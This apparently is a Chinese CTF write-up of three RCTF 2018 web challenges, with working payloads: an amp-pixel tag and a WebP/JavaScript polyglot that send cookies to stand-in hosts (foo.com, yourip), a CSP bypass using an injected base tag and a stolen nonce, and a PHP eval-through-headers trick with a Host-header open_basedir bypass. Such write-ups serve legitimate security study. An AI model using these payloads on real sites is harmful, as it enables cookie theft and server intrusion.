RCTF2018 web writeup

前言

  作为web狗饱受打击的一个比赛,0解题。任重而道远!

amp

  这道题严重忽视了出题人留下的提示,虽然也去Google了一下amp,但出来的结果并没有直接看出相关性,所以就一头扎进CSP的绕过方式上了,结果很显然。




  首先AMP是:Google推出了一项名为 Accelerated Mobile Pages(AMP)的技术,号称能大大加快移动端页面呈现速度,提高整体体验。AMP HTML 是 HTML 的子集,在 AMP HTML 中只允许使用有限的HTML标签,并且它有自己的一套标签声明。

  一个简单的AMP HTML模板如下:




  这跟我们题目里的是一样的,同时AMP HTML有如下特征(截选):

  • 包含顶级 标记(也接受 )
  • 包含 标记作为中的最后一个元素(这样做将会包括并加载 AMP JS 库)

  接下来的解题方法主要参考–>这个

  首先我们先去了解一下AMP HTML对比HTML有哪些不一样的标签,然后从这些标签中找到可以进行利用的。AMP HTML的特性可以在这里找到:传送门




  在第一段我们就收获了有价值的信息,AMP HTML支持变量,可以在运行的时候动态的替换

  接着可以找到一个叫:Client ID的变量,它可以提供每个文档源出处(您发布AMP文档的网站的来源)和用户标识符。如果同一用户在一年内再次访问,客户端ID将相同。客户端ID应该与存储会话ID一年的cookie大致相似。如果AMP文档未通过Google AMP缓存提供,则客户ID将替换为cid scope参数名称的Cookie (请参阅下文)。如果它不存在,cookie将被设置为相同的名称。这些cookie将始终具有前缀“amp-”,随后是随机的base64编码字符串。




  所以如果我们调用cookie的值就能被替换出来,所以我们可以构造:
1
<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(FLAG)"></amp-pixel>

  FLAG是cookie的名称。注意:amp-pixel只支持https,不支持http

  所以我们将foo.com换成自己的地址就行了。完整的payload:

1
http://amp.2018.teamrois.cn/?name=<amp-pixel src=%22https://foo.com/index?cid=CLIENT_ID(FLAG)%22%3E%3C/amp-pixel%3E

  注意替换foo.com。然后我们可以在网络请求中看到数据外带的请求:




  成功的将我们本地的cookie传了出去,接着我们再提交,让bot去查看即可。




  flag:RCTF{El_PsY_CONGRO0_sg0}

r-cursive

  打开后可以找到两个源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$token = sha1($_SERVER['REMOTE_ADDR']);
$dir = '../sandbox/'.$token.'/';
is_dir($dir) ?: mkdir($dir);
is_file($dir.'index.php') ?: file_put_contents($dir.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
case 'go':
header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
break;
case 'reset':
system('rm -rf '.$dir);
break;
default:
show_source(__FILE__);
}
?>

1
2
3
4
<?php
sha1($_SERVER['REMOTE_ADDR']) === 'c664521db39c2da59f8f5b0eb7595bdf4e8a9043' ?: die();
// R是递归匹配
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

  根据正则匹配条件和本地搭环境调试可以知道只能执行不带参数、函数名不含包括_在内的特殊符号,所以只能是aaa(bbb(ccc()))此类的调用形式。所以从cmd参数里进行函数执行是不太可能的了,比赛时也没有想到突破方法,后来才得知可以运行http header头来进行处理。

  PHP中可以使用get_headers ,getallheaders获得HTTP请求头的信息,并返回键值数组,所以我们就只能用getallheaders()来获取。又因为返回的是数组,我们可以使用implode()来将数组转换成字符串。所以我们初步构造:implode(getallheaders())。但如果仅是这样还不能运行我们的代码,因为implode()返回的已经是字符串了,"implode()"(注意"),有相当于多嵌套了一层字符,所以我们应该使用eval(implode(getallheaders()));来进行执行。如:




  注意需要在执行的语句后加//进行注释,防止eval出错。

  绕过了cmd后,接下来就要考虑沙箱绕过了,先看看被禁用的函数及类。

1
2
3
4
disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator
disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link

  可以发现禁用的函数并不是很多,一些文件读取的函数都没有被禁用,尝试了一下读目录,但发现被禁止,然后可以发现open_basedir变量:

1
/var/www/sandbox/c664521db39c2da59f8f5b0eb7595bdf4e8a9043/:/tmp/

  那我们主要的任务就是绕过open_basedir。自己网上找了相关的绕过方式,但利用条件都不满足,比如dl、替换so库等。

  其实这道题的考点在虚拟主机配置的安全问题,Apache中有一个mod_vhost_alias模块,它的作用是

将 HTTP 请求中的 IP 地址和/或 Host: 头内容转换为所要提供服务的文件的路径名称来创建动态的虚拟主机配置。






  在stackoverflow中有一个动态通过mod_vhost_alias来配置open_basedir的答案,传送门。这是它的一个答案:




  而刚好从phpinfo()里能查看到这个参数:




  当我们尝试修改host,将c664521db39c2da59f8f5b0eb7595bdf4e8a9043去掉,发现报了个403。




  猜测这时候我们默认访问的是/var/www/sandbox/,这个目录下是没有index.php的,所以报了个403,为了确认我们的猜想,我们可以尝试访问init.php,这个文件根据phpinfo是在/var/www/sandbox/下的。结果如下:




  这证实了我们的猜想,此时我们在/var/www/sandbox/下,所以我们再去访问c664521db39c2da59f8f5b0eb7595bdf4e8a9043下的index.php以执行我们的cmd。




  我们成功修改(绕过)了open_basedir,接着我们读取init.php的内容。




  成功拿到flag:RCTF{apache_mod_vhost_alias_should_be_configured_correctly}

rBlog 2018

  这道题有两种解法,一是CSP绕过,二是使用webp文件。

解法一:CSP绕过

  打开后发现一个标准的XSS利用攻击,我们提交一篇文章,管理员会去点击查看,从而盗取cookies。




  抓包后修改下各参数的值:




  插完后可以看到title和style处可以直接插入script,但由于CSP的关系导致不能执行。




  我们可以用Google的CSP检查工具检查一下该网站的安全性。结果如下:




  可以看到script是没法利用的了,但由于base-uri缺失导致我们可以进行偷梁换柱




  由于页面使用的是相对路径,默认是访问本站点下的”/assets/js/jquery.min.js”,放到这里就是:
1
http://rblog.2018.teamrois.cn/assets/js/jquery.min.js

  首先我们了解下base标签的用途:

1
2
3
4
5
<base> 标签为页面上的所有链接规定默认地址或默认目标。

通常情况下,浏览器会从当前文档的 URL 中提取相应的元素来填写相对 URL 中的空白。

使用 <base> 标签可以改变这一点。浏览器随后将不再使用当前文档的 URL,而使用指定的基本 URL 来解析所有的相对 URL。这其中包括 <a>、<img>、<link>、<form>、 <script>标签中的 URL。

  所以我们重置这个标签,如:

1
<base href = "https://yourserver" />

  那么在访问jquery.min.js的时候就会变成访问:

1
https://yourserver/assets/js/jquery.min.js

  所以我们在自己的服务器上放一个路径跟文件名一样的环境,然后尝试弹一下窗。




  结果如下:




  成功弹窗,那么接下来就获取cookie并打到自己的服务器上,一般的,我们可以使用:
1
2
3
4
var payload = document.cookie;
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "http://yourserver/?" + payload, true);
xhttp.send();

  尝试获取失败,因为CSP禁用了AJAX,我们只能执行内嵌的script,但这已经足够了,一个解决方法就是偷盗nonce,我们偷一个nonce id添加到我们的script上,从而光明正大的绕过CSP。payload如下:

1
2
3
4
5
6
7
8
var payload = document.cookie;
var nonce = document.querySelector("script").nonce;
var src = `http://yourserver/?${payload}`
var s = document.createElement('script')
s.type = 'text/javascript'
s.src = src
s.setAttribute('nonce', nonce)
document.body.appendChild(s);




  最终可以得到flag:RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012}

解法二:使用webp文件

  首先介绍一下webp。如果不想点开就直接看wiki的引用:




  说通俗点就是Google开发的一种减少图片大小,但尽量不影响图片的质量的技术。

  它有一个特性就是PHP能识别它为图片,但Apache不行,体现在http请求头的Content-Type字段上,这是利用的一个大前提。这样导致的一个结果是当我们请求这个网页是返回的是文本,而如果是在script里请求的,那么它就会当成js脚本执行。




  构成漏洞的另一个条件就是上面提到的style字段我们可以控制,这样我们就可以让他去请求我们构造的恶意js。




  接下来我们就要构造一个脚本,这里作者寻找了挺久的解决方案,终于找到了一套工具。传送门,具体工具的:下载工具,找自己系统最新的版本即可




  下载后我们用系统自带的画图创建一个1像素jpg图片,这个可以在画图的:文件 –> 属性里设置。这里我们该图片命令为aa.jpg,然后进入到前面下载的工具的目录下执行:
1
2
# -o是输出文件的名称 --metadata其实在这里没有必要
cwebp.exe aa.jpg -o bb.webp




  bb.webp的内容应该是这样的:




  根据webp规范,我们如果要添加元数据,应该是exif段。




  所以我们应该在exif的数据段插入我们的js代码,所以我们先整一个exif文件模板,然后通过webpmux工具将exif加入到我们的bb.webp里,这里我使用这款工具:下载地址,当然其他工具也是可以的。

  打开这个工具,新建一个exif模板,插入一个内容,如下:




  只要数据类型是ASCII的都行。然后再在上面下载的webp工具包里执行:
1
webpmux.exe -set exif exif.exif bb.webp -o cc.webp

  此时cc.webp里就有我们的恶意代码了:




  这里再补充一点为什么插入的是:
1
*/=1;xxxx;/*

  首先在JS中是支持这种写法的,在赋值语句中插入注释,如:

1
aaa/*bbbb*/=1;

  可以注意到我们的webp文件是有特定的文件头RIFF的,如果直接交给js解析会出现错误,而上面这种写法就可以避免错误产生。所以我们修改如下:




  但是每种文件都有自己的文件格式,我们修改的那段字符到底代表什么意思呢,我们再看看webp的规范。




  很明显我们修改的是文件大小的标志,为了使我们的webp有效,我们必须构造0x2f2a=12074的文件大小,后面的内容我们可以用0x00填充。最终我们构造的文件如下:




  记得在最后加上*/以闭合前面的注释符。




  顺便在放一下我这里使用的两个webp文件:

  接下来我们将这个图片提交上去。得到这个图片的地址,如:

1
http://rblog.2018.teamrois.cn/upload/images/06b40f7bc09e17dfafa34abc113abea6.webp

  再接着我们重新开一个页面,这里我们需要两个页面配合攻击,第一个先上传图片,第二个引用该图片引发攻击,构造如下:

1
2
我们那个图片的相对地址:
../../../upload/images/06b40f7bc09e17dfafa34abc113abea6.webp#






  可以看到成功弹窗,说明我们的js被执行,那么接下来我们就获取cookie了,将上面的文件中的js替换一下:
1
*/=1;window.location.href="http://yourip/?cookie="+document.cookie;/*

  再用相同的方法提交,并在另一个新的请求中替换style的值为该图片的地址。然后把这个新的页面的地址提交到report。最终我们可以收到一个cookie:




  所以flag:RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012}。然后还有第二关的提示:http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d。

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×